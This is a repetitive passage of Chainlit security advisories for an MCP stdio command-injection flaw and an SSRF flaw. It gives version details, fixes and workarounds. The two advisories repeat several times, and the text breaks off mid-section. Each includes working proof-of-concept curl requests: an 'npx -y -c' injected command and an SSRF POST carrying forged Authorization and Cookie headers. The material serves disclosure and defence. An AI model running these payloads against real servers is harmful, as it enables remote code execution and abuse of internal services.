The /mcp route is registered unconditionally on the FastAPI router in every Chainlit deployment; only the runtime features.mcp.enabled check and (where configured) the authentication check on /mcp prevent exploitation.

Vulnerable code: backend/chainlit/mcp.py — validate_mcp_command() Sink: backend/chainlit/server.py — StdioServerParameters

PoC

Tested against Chainlit 2.11.0 with features.mcp.enabled = true and default settings.

1. Establish a Socket.IO session to get a valid sessionId:

EIO_SID=$(curl -s 'http://TARGET:8000/ws/socket.io/?EIO=4&transport=polling' \
  | python3 -c "import sys,json; print(json.loads(sys.stdin.read()[1:])['sid'])")

curl -s -X POST \
  "http://TARGET:8000/ws/socket.io/?EIO=4&transport=polling&sid=$EIO_SID" \
  -d '40{"sessionId":"rce-proof","userEnv":"{}","clientType":"webapp"}'

2. Send the command injection payload:

curl -s -X POST 'http://TARGET:8000/mcp' \
  -H 'Content-Type: application/json' \
  -d '{
    "sessionId": "rce-proof",
    "clientType": "stdio",
    "name": "poc",
    "fullCommand": "npx -y -c '\''id > /tmp/rce_proof'\''"
  }'

The server runs the command before the MCP handshake fails. The output of id is written to /tmp/rce_proof.

Impact

Critical. An unauthenticated remote attacker can execute arbitrary OS commands on the server with the privileges of the Chainlit process. This can lead to full host compromise, data exfiltration, lateral movement, and installation of persistent backdoors. Any Chainlit deployment with MCP enabled is affected.

Fix

Chainlit 2.12.0 removes fullCommand from the client request entirely. stdio MCP servers are now declared by the developer in .chainlit/config.toml under [[features.mcp.servers]] and selected by name at connection time; the command string never crosses the trust boundary from client to server, so there is no command left to sanitize and no allowed_executables mechanism anymore. Per-server environment variables are configured via an env mapping on the server entry rather than supplied by the client.

Workarounds

If you cannot upgrade immediately:

• Set features.mcp.enabled = false in .chainlit/config.toml. This fully prevents exploitation of this issue (and of the companion SSRF issue, CVE-2026-45019).
• Restrict outbound process-spawning / network capability from the host running Chainlit.
• Configure authentication (register an auth callback) so that /mcp requires an authenticated session. This does not fix the underlying command injection, but removes the unauthenticated attack path.

Upgrading to 2.12.0

Breaking change. 2.12.0 changes how MCP servers are configured. If .chainlit/config.toml still uses the legacy [features.mcp.sse], [features.mcp.stdio], or [features.mcp.streamable-http] sections, or the allowed_executables setting, the application will fail to start once MCP is enabled, until you migrate to the new [[features.mcp.servers]] configuration. See the migration guide in CHANGELOG.md before upgrading. Deployments with features.mcp.enabled = false are not affected by this startup check.

Residual risk after upgrading

• On deployments with no authentication configured, /mcp remains reachable anonymously after upgrading, because get_current_user returns None when no auth callback is registered. An anonymous client can therefore still cause developer-configured stdio servers to be spawned by name. Because the command itself is developer-controlled rather than attacker-supplied, this is no longer remote code execution — but it is still unauthenticated process spawning on deployments without authentication.
• No resource limits are placed on stdio server spawning, and there is no cap on concurrent MCP sessions per client.

Credits

Vipin vipin@spl.team SPL security@spl.team

Am I affected?

Only if your deployment sets features.mcp.enabled = true in .chainlit/config.toml. MCP has been disabled by default since v2.7.0, so most Chainlit deployments are not affected. No authentication is required: /mcp is reachable by any client that can open a session.

Summary

When MCP is enabled (features.mcp.enabled = true), the POST /mcp endpoint for sse and streamable-http transports accepts a user-controlled url and optional headers dictionary without any validation. An unauthenticated attacker can force the Chainlit server to make outbound HTTP requests to arbitrary URLs — including internal network services and cloud metadata endpoints — with attacker-controlled HTTP headers such as Authorization and Cookie.

Affected / patched versions

| | | |---|---| | CVE | CVE-2026-45019 | | Affected — URL-based SSRF | >=2.4.0rc0, <2.12.0 (sink present since MCP support was introduced, PR #1977) | | Affected — attacker-controlled header forwarding (amplifies the above) | >=2.6.4, <2.12.0 (added in PR #2292) | | Patched | 2.12.0 (releasing 2026-08-25) |

Details

The Pydantic request models in backend/chainlit/types.py define url as a bare str with no scheme check, no private IP filtering, and no allowlist. When clientType is "sse" or "streamable-http", the handler in backend/chainlit/server.py passes the URL and headers directly to the MCP SDK's sse_client() or streamablehttp_client(), which make outbound HTTP requests from the server.

The SSE URL sink has existed since MCP support was first introduced in v2.4.0rc0 (PR #1977). PR #2292 (merged 2025-07-30, released in v2.6.4) added streamable-http support and introduced attacker-controlled headers forwarding for both transports. This amplified the SSRF from a simple URL-based request to one where the attacker can set arbitrary HTTP headers like Authorization and Cookie.

This is a blind SSRF: the server makes the outbound request, but the response is consumed internally by the MCP client and never returned to the attacker. In cloud environments, an attacker could probe metadata endpoints (e.g., 169.254.169.254).

Vulnerable code: backend/chainlit/server.py — connect_mcp handler Sink: backend/chainlit/server.py — sse_client / streamablehttp_client

PoC

Tested against Chainlit 2.11.0 with features.mcp.enabled = true and a local TCP listener.

1. Start a listener to capture the server-side request:

nc -l 4445

2. Establish a Socket.IO session and trigger the SSRF:

EIO_SID=$(curl -s 'http://TARGET:8000/ws/socket.io/?EIO=4&transport=polling' \
  | python3 -c "import sys,json; print(json.loads(sys.stdin.read()[1:])['sid'])")

curl -s -X POST \
  "http://TARGET:8000/ws/socket.io/?EIO=4&transport=polling&sid=$EIO_SID" \
  -d '40{"sessionId":"ssrf","userEnv":"{}","clientType":"webapp"}'

curl -s -X POST 'http://TARGET:8000/mcp' \
  -H 'Content-Type: application/json' \
  -d '{
    "sessionId": "ssrf",
    "clientType": "streamable-http",
    "name": "probe",
    "url": "http://127.0.0.1:4445/internal-admin",
    "headers": {
      "Authorization": "Bearer attacker-controlled-token",
      "X-Internal-Secret": "exfiltrated",
      "Cookie": "session=hijacked"
    }
  }'

3. The listener captures the server-side request with all attacker-controlled headers:

POST /internal-admin HTTP/1.1
Host: 127.0.0.1:4445
Authorization: Bearer attacker-controlled-token
X-Internal-Secret: exfiltrated
Cookie: session=hijacked

Impact

High. An unauthenticated attacker can force the Chainlit server to make HTTP requests to arbitrary internal or external services, with fully attacker-controlled headers.

Although this is a blind SSRF — the response body is never returned to the attacker — the vulnerable versions apply no allowlist to either the destination URL or the headers. Full control over both is enough to issue state-changing, authenticated requests to internal APIs: the PoC above is itself a POST carrying a forged Authorization header. Write operations against internal services do not require reading the response to have effect, so this goes beyond passive reconnaissance. The same primitive also enables internal service discovery, port scanning, and probing cloud metadata endpoints (e.g., AWS IMDSv1 at 169.254.169.254). Any Chainlit deployment with MCP enabled is affected.

Fix

Chainlit 2.12.0 introduces an opt-in, allowlist-based model for user-provided SSE / streamable-http connections:

• User-provided MCP connections now require explicit opt-in via features.mcp.user_servers.enabled = true, plus a non-empty allowed_urls allowlist. The default is deny-all — no outbound URL is permitted unless explicitly listed.
• URLs are validated: http/https only, with scheme/host/port/path-prefix matching against the allowlist. Requests with ./.. path segments, encoded separators (%2e, %2f, %5c), double-encoded sequences (%25), backslashes, or non-ASCII characters in the path are rejected.
• Restricted headers are stripped from user-supplied headers before the request is sent: Cookie, Host, Forwarded, X-Forwarded-*, X-Real-IP, Via, Proxy-Authorization, X-HTTP-Method-Override, X-Original-URL, X-Rewrite-URL, and hop-by-hop headers. Authorization is deliberately still forwarded — for user-provided servers, passing a caller-supplied credential to the allowlisted target is the point of the feature, and the destination is now constrained by allowed_urls.
• Named (developer-configured) server URLs and headers are no longer returned to the browser, on either the success or the error path, and GET /project/settings no longer discloses allowed_urls.

During remediation the maintainers also identified and closed two ways an allowlist could otherwise be bypassed once introduced. Neither adds to the pre-fix impact described above, since the vulnerable versions had no allowlist to bypass in the first place — they are hardening measures for the new allowlist:

• HTTP redirects are no longer followed on MCP transports. The underlying SDK hardcoded follow_redirects=True, so only the first hop of a request would ever have been checked against an allowlist.
• Every outgoing transport request is now re-checked against the connection's grant, not just the initial URL. The MCP SSE protocol takes its POST target from the server's endpoint event, and the SDK validates only scheme and host on that event, so an allowlisted server could otherwise redirect subsequent writes elsewhere on the same host.

A companion advisory (CVE-2026-45018) covers the corresponding fix for command injection via the stdio transport.

Workarounds

If you cannot upgrade immediately:

• Set features.mcp.enabled = false in .chainlit/config.toml. This fully prevents exploitation of this issue (and of the companion stdio command-injection issue, CVE-2026-45018).
• Restrict outbound network egress from the host running Chainlit (e.g., firewall rules blocking access to internal address ranges and the cloud metadata endpoint).
• Configure authentication (register an auth callback) so that /mcp requires an authenticated session. This does not eliminate the SSRF for authenticated users, but removes the unauthenticated attack path.

Upgrading to 2.12.0

Breaking change. 2.12.0 changes how MCP servers are configured. If .chainlit/config.toml still uses the legacy [features.mcp.sse], [features.mcp.stdio], or [features.mcp.streamable-http] sections, or the allowed_executables setting, the application will fail to start once MCP is enabled, until you migrate to the new [[features.mcp.servers]] / allowed_urls configuration. See the migration guide in CHANGELOG.md before upgrading. Deployments with features.mcp.enabled = false are not affected by this startup check.

Residual risk after upgrading

• On deployments with no authentication configured, /mcp remains reachable anonymously after upgrading, because get_current_user returns None when no auth callback is registered. Where features.mcp.user_servers.enabled = true, an anonymous client can therefore still drive outbound requests to any URL on the allowed_urls allowlist, with an Authorization header of its own choosing.
• There is no private-IP or IP-literal blocking. The allowlist is hostname-based, so a DNS name that resolves to a loopback, link-local, or cloud metadata address is not rejected. Closing this without introducing a TOCTOU window requires resolve-then-pin validation, which is deliberately deferred rather than shipped as a partial mitigation.
• Header filtering in 2.12.0 is a denylist, not an allowlist. An allowlist model is the intended future direction.

Credits

Vipin vipin@spl.team SPL security@spl.team

Am I affected?

Only if your deployment sets features.mcp.enabled = true in .chainlit/config.toml. MCP has been disabled by default since v2.7.0, so most Chainlit deployments are not affected. No authentication is required: /mcp is reachable by any client that can open a session.

Summary

When MCP is enabled (features.mcp.enabled = true), the POST /mcp endpoint for stdio transport accepts a user-controlled fullCommand string. The validate_mcp_command() function checks the executable name against a configurable allowlist but does not inspect or restrict the arguments. An attacker can pass npx -y -c 'ARBITRARY COMMAND' to execute arbitrary shell commands on the server with the privileges of the Chainlit process.

Affected / patched versions

| | | |---|---| | CVE | CVE-2026-45018 | | Affected | >=2.4.0rc0, <2.12.0 with features.mcp.enabled = true (introduced in PR #1977, the change that added MCP support) | | Patched | 2.12.0 (releasing 2026-08-25) |

Details

validate_mcp_command() in backend/chainlit/mcp.py uses shlex.split() to parse the command string and validates only the executable name (e.g., npx, uvx) against config.features.mcp.stdio.allowed_executables. Arguments are returned unchecked and passed directly to StdioServerParameters, which spawns a subprocess.

Since npx supports -c for arbitrary shell execution, npx -y -c 'PAYLOAD' passes the allowlist check while running whatever the attacker specifies. This gives an attacker who can reach the endpoint full control over the host.

There is a related issue in the Pydantic model: allowed_executables defaults to None, and the validation code treats None as "allow everything." If a developer removes the allowed_executables line from their config, any executable can be invoked.

The /mcp route is registered unconditionally on the FastAPI router in every Chainlit deployment; only the runtime features.mcp.enabled check and (where configured) the authentication check on /mcp prevent exploitation.

Vulnerable code: backend/chainlit/mcp.py — validate_mcp_command() Sink: backend/chainlit/server.py — StdioServerParameters

PoC

Tested against Chainlit 2.11.0 with features.mcp.enabled = true and default settings.

1. Establish a Socket.IO session to get a valid sessionId:

EIO_SID=$(curl -s 'http://TARGET:8000/ws/socket.io/?EIO=4&transport=polling' \
  | python3 -c "import sys,json; print(json.loads(sys.stdin.read()[1:])['sid'])")

curl -s -X POST \
  "http://TARGET:8000/ws/socket.io/?EIO=4&transport=polling&sid=$EIO_SID" \
  -d '40{"sessionId":"rce-proof","userEnv":"{}","clientType":"webapp"}'

2. Send the command injection payload:

curl -s -X POST 'http://TARGET:8000/mcp' \
  -H 'Content-Type: application/json' \
  -d '{
    "sessionId": "rce-proof",
    "clientType": "stdio",
    "name": "poc",
    "fullCommand": "npx -y -c '\''id > /tmp/rce_proof'\''"
  }'

The server runs the command before the MCP handshake fails. The output of id is written to /tmp/rce_proof.

Impact

Critical. An unauthenticated remote attacker can execute arbitrary OS commands on the server with the privileges of the Chainlit process. This can lead to full host compromise, data exfiltration, lateral movement, and installation of persistent backdoors. Any Chainlit deployment with MCP enabled is affected.

Fix

Chainlit 2.12.0 removes fullCommand from the client request entirely. stdio MCP servers are now declared by the developer in .chainlit/config.toml under [[features.mcp.servers]] and selected by name at connection time; the command string never crosses the trust boundary from client to server, so there is no command left to sanitize and no allowed_executables mechanism anymore. Per-server environment variables are configured via an env mapping on the server entry rather than supplied by the client.

Workarounds

If you cannot upgrade immediately:

• Set features.mcp.enabled = false in .chainlit/config.toml. This fully prevents exploitation of this issue (and of the companion SSRF issue, CVE-2026-45019).
• Restrict outbound process-spawning / network capability from the host running Chainlit.
• Configure authentication (register an auth callback) so that /mcp requires an authenticated session. This does not fix the underlying command injection, but removes the unauthenticated attack path.

Upgrading to 2.12.0

Breaking change. 2.12.0 changes how MCP servers are configured. If .chainlit/config.toml still uses the legacy [features.mcp.sse], [features.mcp.stdio], or [features.mcp.streamable-http] sections, or the allowed_executables setting, the application will fail to start once MCP is enabled, until you migrate to the new [[features.mcp.servers]] configuration. See the migration guide in CHANGELOG.md before upgrading. Deployments with features.mcp.enabled = false are not affected by this startup check.

Residual risk after upgrading

• On deployments with no authentication configured, /mcp remains reachable anonymously after upgrading, because get_current_user returns None when no auth callback is registered. An anonymous client can therefore still cause developer-configured stdio servers to be spawned by name. Because the command itself is developer-controlled rather than attacker-supplied, this is no longer remote code execution — but it is still unauthenticated process spawning on deployments without authentication.
• No resource limits are placed on stdio server spawning, and there is no cap on concurrent MCP sessions per client.

Credits

Vipin vipin@spl.team SPL security@spl.team

Am I affected?

Only if your deployment sets features.mcp.enabled = true in .chainlit/config.toml. MCP has been disabled by default since v2.7.0, so most Chainlit deployments are not affected. No authentication is required: /mcp is reachable by any client that can open a session.

Summary

When MCP is enabled (features.mcp.enabled = true), the POST /mcp endpoint for sse and streamable-http transports accepts a user-controlled url and optional headers dictionary without any validation. An unauthenticated attacker can force the Chainlit server to make outbound HTTP requests to arbitrary URLs — including internal network services and cloud metadata endpoints — with attacker-controlled HTTP headers such as Authorization and Cookie.

Affected / patched versions

| | | |---|---| | CVE | CVE-2026-45019 | | Affected — URL-based SSRF | >=2.4.0rc0, <2.12.0 (sink present since MCP support was introduced, PR #1977) | | Affected — attacker-controlled header forwarding (amplifies the above) | >=2.6.4, <2.12.0 (added in PR #2292) | | Patched | 2.12.0 (releasing 2026-08-25) |

Details

The Pydantic request models in backend/chainlit/types.py define url as a bare str with no scheme check, no private IP filtering, and no allowlist. When clientType is "sse" or "streamable-http", the handler in backend/chainlit/server.py passes the URL and headers directly to the MCP SDK's sse_client() or streamablehttp_client(), which make outbound HTTP requests from the server.

The SSE URL sink has existed since MCP support was first introduced in v2.4.0rc0 (PR #1977). PR #2292 (merged 2025-07-30, released in v2.6.4) added streamable-http support and introduced attacker-controlled headers forwarding for both transports. This amplified the SSRF from a simple URL-based request to one where the attacker can set arbitrary HTTP headers like Authorization and Cookie.

This is a blind SSRF: the server makes the outbound request, but the response is consumed internally by the MCP client and never returned to the attacker. In cloud environments, an attacker could probe metadata endpoints (e.g., 169.254.169.254).

Vulnerable code: backend/chainlit/server.py — connect_mcp handler Sink: backend/chainlit/server.py — sse_client / streamablehttp_client

PoC

Tested against Chainlit 2.11.0 with features.mcp.enabled = true and a local TCP listener.

1. Start a listener to capture the server-side request:

nc -l 4445

2. Establish a Socket.IO session and trigger the SSRF:

EIO_SID=$(curl -s 'http://TARGET:8000/ws/socket.io/?EIO=4&transport=polling' \
  | python3 -c "import sys,json; print(json.loads(sys.stdin.read()[1:])['sid'])")

curl -s -X POST \
  "http://TARGET:8000/ws/socket.io/?EIO=4&transport=polling&sid=$EIO_SID" \
  -d '40{"sessionId":"ssrf","userEnv":"{}","clientType":"webapp"}'

curl -s -X POST 'http://TARGET:8000/mcp' \
  -H 'Content-Type: application/json' \
  -d '{
    "sessionId": "ssrf",
    "clientType": "streamable-http",
    "name": "probe",
    "url": "http://127.0.0.1:4445/internal-admin",
    "headers": {
      "Authorization": "Bearer attacker-controlled-token",
      "X-Internal-Secret": "exfiltrated",
      "Cookie": "session=hijacked"
    }
  }'

3. The listener captures the server-side request with all attacker-controlled headers:

POST /internal-admin HTTP/1.1
Host: 127.0.0.1:4445
Authorization: Bearer attacker-controlled-token
X-Internal-Secret: exfiltrated
Cookie: session=hijacked

Impact

High. An unauthenticated attacker can force the Chainlit server to make HTTP requests to arbitrary internal or external services, with fully attacker-controlled headers.

Although this is a blind SSRF — the response body is never returned to the attacker — the vulnerable versions apply no allowlist to either the destination URL or the headers. Full control over both is enough to issue state-changing, authenticated requests to internal APIs: the PoC above is itself a POST carrying a forged Authorization header. Write operations against internal services do not require reading the response to have effect, so this goes beyond passive reconnaissance. The same primitive also enables internal service discovery, port scanning, and probing cloud metadata endpoints (e.g., AWS IMDSv1 at 169.254.169.254). Any Chainlit deployment with MCP enabled is affected.

Fix

Chainlit 2.12.0 introduces an opt-in, allowlist-based model for user-provided SSE / streamable-http connections:

• User-provided MCP connections now require explicit opt-in via features.mcp.user_servers.enabled = true, plus a non-empty allowed_urls allowlist. The default is deny-all — no outbound URL is permitted unless explicitly listed.
• URLs are validated: http/https only, with scheme/host/port/path-prefix matching against the allowlist. Requests with ./.. path segments, encoded separators (%2e, %2f, %5c), double-encoded sequences (%25), backslashes, or non-ASCII characters in the path are rejected.
• Restricted headers are stripped from user-supplied headers before the request is sent: Cookie, Host, Forwarded, X-Forwarded-*, X-Real-IP, Via, Proxy-Authorization, X-HTTP-Method-Override, X-Original-URL, X-Rewrite-URL, and hop-by-hop headers. Authorization is deliberately still forwarded — for user-provided servers, passing a caller-supplied credential to the allowlisted target is the point of the feature, and the destination is now constrained by allowed_urls.
• Named (developer-configured) server URLs and headers are no longer returned to the browser, on either the success or the error path, and GET /project/settings no longer discloses allowed_urls.

During remediation the maintainers also identified and closed two ways an allowlist could otherwise be bypassed once introduced. Neither adds to the pre-fix impact described above, since the vulnerable versions had no allowlist to bypass in the first place — they are hardening measures for the new allowlist:

• HTTP redirects are no longer followed on MCP transports. The underlying SDK hardcoded follow_redirects=True, so only the first hop of a request would ever have been checked against an allowlist.
• Every outgoing transport request is now re-checked against the connection's grant, not just the initial URL. The MCP SSE protocol takes its POST target from the server's endpoint event, and the SDK validates only scheme and host on that event, so an allowlisted server could otherwise redirect subsequent writes elsewhere on the same host.

A companion advisory (CVE-2026-45018) covers the corresponding fix for command injection via the stdio transport.

Workarounds

If you cannot upgrade immediately:

• Set features.mcp.enabled = false in .chainlit/config.toml. This fully prevents exploitation of this issue (and of the companion stdio command-injection issue, CVE-2026-45018).
• Restrict outbound network egress from the host running Chainlit (e.g., firewall rules blocking access to internal address ranges and the cloud metadata endpoint).
• Configure authentication (register an auth callback) so that /mcp requires an authenticated session. This does not eliminate the SSRF for authenticated users, but removes the unauthenticated attack path.

Upgrading to 2.12.0

Breaking change. 2.12.0 changes how MCP servers are configured. If .chainlit/config.toml still uses the legacy [features.mcp.sse], [features.mcp.stdio], or [features.mcp.streamable-http] sections, or the allowed_executables setting, the application will fail to start once MCP is enabled, until you migrate to the new [[features.mcp.servers]] / allowed_urls configuration. See the migration guide in CHANGELOG.md before upgrading. Deployments with features.mcp.enabled = false are not affected by this startup check.

Residual risk after upgrading

• On deployments with no authentication configured, /mcp remains reachable anonymously after upgrading, because get_current_user returns None when no auth callback is registered. Where features.mcp.user_servers.enabled = true, an anonymous client can therefore still drive outbound requests to any URL on the allowed_urls allowlist, with an Authorization header of its own choosing.
• There is no private-IP or IP-literal blocking. The allowlist is hostname-based, so a DNS name that resolves to a loopback, link-local, or cloud metadata address is not rejected. Closing this without introducing a TOCTOU window requires resolve-then-pin validation, which is deliberately deferred rather than shipped as a partial mitigation.
• Header filtering in 2.12.0 is a denylist, not an allowlist. An allowlist model is the intended future direction.

Credits

Vipin vipin@spl.team SPL security@spl.team

Am I affected?

Only if your deployment sets features.mcp.enabled = true in .chainlit/config.toml. MCP has been disabled by default since v2.7.0, so most Chainlit deployments are not affected. No authentication is required: /mcp is reachable by any client that can open a session.

Summary

When MCP is enabled (features.mcp.enabled = true), the POST /mcp endpoint for stdio transport accepts a user-controlled fullCommand string. The validate_mcp_command() function checks the executable name against a configurable allowlist but does not inspect or restrict the arguments. An attacker can pass npx -y -c 'ARBITRARY COMMAND' to execute arbitrary shell commands on the server with the privileges of the Chainlit process.

Affected / patched versions

| | | |---|---| | CVE | CVE-2026-45018 | | Affected | >=2.4.0rc0, <2.12.0 with features.mcp.enabled = true (introduced in PR #1977, the change that added MCP support) | | Patched | 2.12.0 (releasing 2026-08-25) |

Details

validate_mcp_command() in backend/chainlit/mcp.py uses shlex.split() to parse the command string and validates only the executable name (e.g., npx, uvx) against config.features.mcp.stdio.allowed_executables. Arguments are returned unchecked and passed directly to StdioServerParameters, which spawns a subprocess.

Since npx supports -c for arbitrary shell execution, npx -y -c 'PAYLOAD' passes the allowlist check while running whatever the attacker specifies. This gives an attacker who can reach the endpoint full control over the host.

There is a related issue in the Pydantic model: allowed_executables defaults to None, and the validation code treats None as "allow everything." If a developer removes the allowed_executables line from their config, any executable can be invoked.

The /mcp route is registered unconditionally on the FastAPI router in every Chainlit deployment; only the runtime features.mcp.enabled check and (where configured) the authentication check on /mcp prevent exploitation.

Vulnerable code: backend/chainlit/mcp.py — validate_mcp_command() Sink: backend/chainlit/server.py — StdioServerParameters

PoC

Tested against Chainlit 2.11.0 with features.mcp.enabled = true and default settings.

1. Establish a Socket.IO session to get a valid sessionId:

EIO_SID=$(curl -s 'http://TARGET:8000/ws/socket.io/?EIO=4&transport=polling' \
  | python3 -c "import sys,json; print(json.loads(sys.stdin.read()[1:])['sid'])")

curl -s -X POST \
  "http://TARGET:8000/ws/socket.io/?EIO=4&transport=polling&sid=$EIO_SID" \
  -d '40{"sessionId":"rce-proof","userEnv":"{}","clientType":"webapp"}'

2. Send the command injection payload:

curl -s -X POST 'http://TARGET:8000/mcp' \
  -H 'Content-Type: application/json' \
  -d '{
    "sessionId": "rce-proof",
    "clientType": "stdio",
    "name": "poc",
    "fullCommand": "npx -y -c '\''id > /tmp/rce_proof'\''"
  }'

The server runs the command before the MCP handshake fails. The output of id is written to /tmp/rce_proof.

Impact

Critical. An unauthenticated remote attacker can execute arbitrary OS commands on the server with the privileges of the Chainlit process. This can lead to full host compromise, data exfiltration, lateral movement, and installation of persistent backdoors. Any Chainlit deployment with MCP enabled is affected.

Fix

Chainlit 2.12.0 removes fullCommand from the client request entirely. stdio MCP servers are now declared by the developer in .chainlit/config.toml under [[features.mcp.servers]] and selected by name at connection time; the command string never crosses the trust boundary from client to server, so there is no command left to sanitize and no allowed_executables mechanism anymore. Per-server environment variables are configured via an env mapping on the server entry rather than supplied by the client.

Workarounds

If you cannot upgrade immediately:

• Set features.mcp.enabled = false in .chainlit/config.toml. This fully prevents exploitation of this issue (and of the companion SSRF issue, CVE-2026-45019).
• Restrict outbound process-spawning / network capability from the host running Chainlit.
• Configure authentication (register an auth callback) so that /mcp requires an authenticated session. This does not fix the underlying command injection, but removes the unauthenticated attack path.

Upgrading to 2.12.0

Breaking change. 2.12.0 changes how MCP servers are configured. If .chainlit/config.toml still uses the legacy [features.mcp.sse], [features.mcp.stdio], or [features.mcp.streamable-http] sections, or the allowed_executables setting, the application will fail to start once MCP is enabled, until you migrate to the new [[features.mcp.servers]] configuration. See the migration guide in CHANGELOG.md before upgrading. Deployments with features.mcp.enabled = false are not affected by this startup check.

Residual risk after upgrading

• On deployments with no authentication configured, /mcp remains reachable anonymously after upgrading, because get_current_user returns None when no auth callback is registered. An anonymous client can therefore still cause developer-configured stdio servers to be spawned by name. Because the command itself is developer-controlled rather than attacker-supplied, this is no longer remote code execution — but it is still unauthenticated process spawning on deployments without authentication.
• No resource limits are placed on stdio server spawning, and there is no cap on concurrent MCP sessions per client.

Credits

Vipin vipin@spl.team SPL security@spl.team

Chainlit versions prior to 2.9.4 contain a server-side request forgery (SSRF) vulnerability in the /project/element update flow when configured with the SQLAlchemy data layer backend. An authenticated client can provide a user-controlled url value in an Element, which is fetched by the SQLAlchemy element creation logic using an outbound HTTP GET request. This allows an attacker to make arbitrary HTTP requests from the Chainlit server to internal network services or cloud metadata endpoints and store the retrieved responses via the configured storage provider.

Chainlit versions prior to 2.9.4 contain an arbitrary file read vulnerability in the /project/element update flow. An authenticated client can send a custom Element with a user-controlled path value, causing the server to copy the referenced file into the attacker’s session. The resulting element identifier (chainlitKey) can then be used to retrieve the file contents via /project/file/, allowing disclosure of any file readable by the Chainlit service.

Am I affected?

Only if your deployment sets features.mcp.enabled = true in .chainlit/config.toml. MCP has been disabled by default since v2.7.0, so most Chainlit deployments are not affected. No authentication is required: /mcp is reachable by any client that can open a session.

Summary

When MCP is enabled (features.mcp.enabled = true), the POST /mcp endpoint for sse and streamable-http transports accepts a user-controlled url and optional headers dictionary without any validation. An unauthenticated attacker can force the Chainlit server to make outbound HTTP requests to arbitrary URLs — including internal network services and cloud metadata endpoints — with attacker-controlled HTTP headers such as Authorization and Cookie.

Affected / patched versions

| | | |---|---| | CVE | CVE-2026-45019 | | Affected — URL-based SSRF | >=2.4.0rc0, <2.12.0 (sink present since MCP support was introduced, PR #1977) | | Affected — attacker-controlled header forwarding (amplifies the above) | >=2.6.4, <2.12.0 (added in PR #2292) | | Patched | 2.12.0 (releasing 2026-08-25) |

Details

The Pydantic request models in backend/chainlit/types.py define url as a bare str with no scheme check, no private IP filtering, and no allowlist. When clientType is "sse" or "streamable-http", the handler in backend/chainlit/server.py passes the URL and headers directly to the MCP SDK's sse_client() or streamablehttp_client(), which make outbound HTTP requests from the server.

The SSE URL sink has existed since MCP support was first introduced in v2.4.0rc0 (PR #1977). PR #2292 (merged 2025-07-30, released in v2.6.4) added streamable-http support and introduced attacker-controlled headers forwarding for both transports. This amplified the SSRF from a simple URL-based request to one where the attacker can set arbitrary HTTP headers like Authorization and Cookie.

This is a blind SSRF: the server makes the outbound request, but the response is consumed internally by the MCP client and never returned to the attacker. In cloud environments, an attacker could probe metadata endpoints (e.g., 169.254.169.254).

Vulnerable code: backend/chainlit/server.py — connect_mcp handler Sink: backend/chainlit/server.py — sse_client / streamablehttp_client

PoC

Tested against Chainlit 2.11.0 with features.mcp.enabled = true and a local TCP listener.

1. Start a listener to capture the server-side request:

nc -l 4445

2. Establish a Socket.IO session and trigger the SSRF:

EIO_SID=$(curl -s 'http://TARGET:8000/ws/socket.io/?EIO=4&transport=polling' \
  | python3 -c "import sys,json; print(json.loads(sys.stdin.read()[1:])['sid'])")

curl -s -X POST \
  "http://TARGET:8000/ws/socket.io/?EIO=4&transport=polling&sid=$EIO_SID" \
  -d '40{"sessionId":"ssrf","userEnv":"{}","clientType":"webapp"}'

curl -s -X POST 'http://TARGET:8000/mcp' \
  -H 'Content-Type: application/json' \
  -d '{
    "sessionId": "ssrf",
    "clientType": "streamable-http",
    "name": "probe",
    "url": "http://127.0.0.1:4445/internal-admin",
    "headers": {
      "Authorization": "Bearer attacker-controlled-token",
      "X-Internal-Secret": "exfiltrated",
      "Cookie": "session=hijacked"
    }
  }'

3. The listener captures the server-side request with all attacker-controlled headers:

POST /internal-admin HTTP/1.1
Host: 127.0.0.1:4445
Authorization: Bearer attacker-controlled-token
X-Internal-Secret: exfiltrated
Cookie: session=hijacked

Impact

High. An unauthenticated attacker can force the Chainlit server to make HTTP requests to arbitrary internal or external services, with fully attacker-controlled headers.

Although this is a blind SSRF — the response body is never returned to the attacker — the vulnerable versions apply no allowlist to either the destination URL or the headers. Full control over both is enough to issue state-changing, authenticated requests to internal APIs: the PoC above is itself a POST carrying a forged Authorization header. Write operations against internal services do not require reading the response to have effect, so this goes beyond passive reconnaissance. The same primitive also enables internal service discovery, port scanning, and probing cloud metadata endpoints (e.g., AWS IMDSv1 at 169.254.169.254). Any Chainlit deployment with MCP enabled is affected.

Fix

Chainlit 2.12.0 introduces an opt-in, allowlist-based model for user-provided SSE / streamable-http connections:

• User-provided MCP connections now require explicit opt-in via features.mcp.user_servers.enabled = true, plus a non-empty allowed_urls allowlist. The default is deny-all — no outbound URL is permitted unless explicitly listed.
• URLs are validated: http/https only, with scheme/host/port/path-prefix matching against the allowlist. Requests with ./.. path segments, encoded separators (%2e, %2f, %5c), double-encoded sequences (%25), backslashes, or non-ASCII characters in the path are rejected.
• Restricted headers are stripped from user-supplied headers before the request is sent: Cookie, Host, Forwarded, X-Forwarded-*, X-Real-IP, Via, Proxy-Authorization, X-HTTP-Method-Override, X-Original-URL, X-Rewrite-URL, and hop-by-hop headers. Authorization is deliberately still forwarded — for user-provided servers, passing a caller-supplied credential to the allowlisted target is the point of the feature, and the destination is now constrained by allowed_urls.
• Named (developer-configured) server URLs and headers are no longer returned to the browser, on either the success or the error path, and GET /project/settings no longer discloses allowed_urls.

During remediation the maintainers also identified and closed two ways an allowlist could otherwise be bypassed once introduced. Neither adds to the pre-fix impact described above, since the vulnerable versions had no allowlist to bypass in the first place — they are hardening measures for the new allowlist:

• HTTP redirects are no longer followed on MCP transports. The underlying SDK hardcoded follow_redirects=True, so only the first hop of a request would ever have been checked against an allowlist.
• Every outgoing transport request is now re-checked against the connection's grant, not just the initial URL. The MCP SSE protocol takes its POST target from the server's endpoint event, and the SDK validates only scheme and host on that event, so an allowlisted server could otherwise redirect subsequent writes elsewhere on the same host.

A companion advisory (CVE-2026-45018) covers the corresponding fix for command injection via the stdio transport.

Workarounds

If you cannot upgrade immediately:

• Set features.mcp.enabled = false in .chainlit/config.toml. This fully prevents exploitation of this issue (and of the companion stdio command-injection issue, CVE-2026-45018).
• Restrict outbound network egress from the host running Chainlit (e.g., firewall rules blocking access to internal address ranges and the cloud metadata endpoint).
• Configure authentication (register an auth callback) so that /mcp requires an authenticated session. This does not eliminate the SSRF for authenticated users, but removes the unauthenticated attack path.

Upgrading to 2.12.0

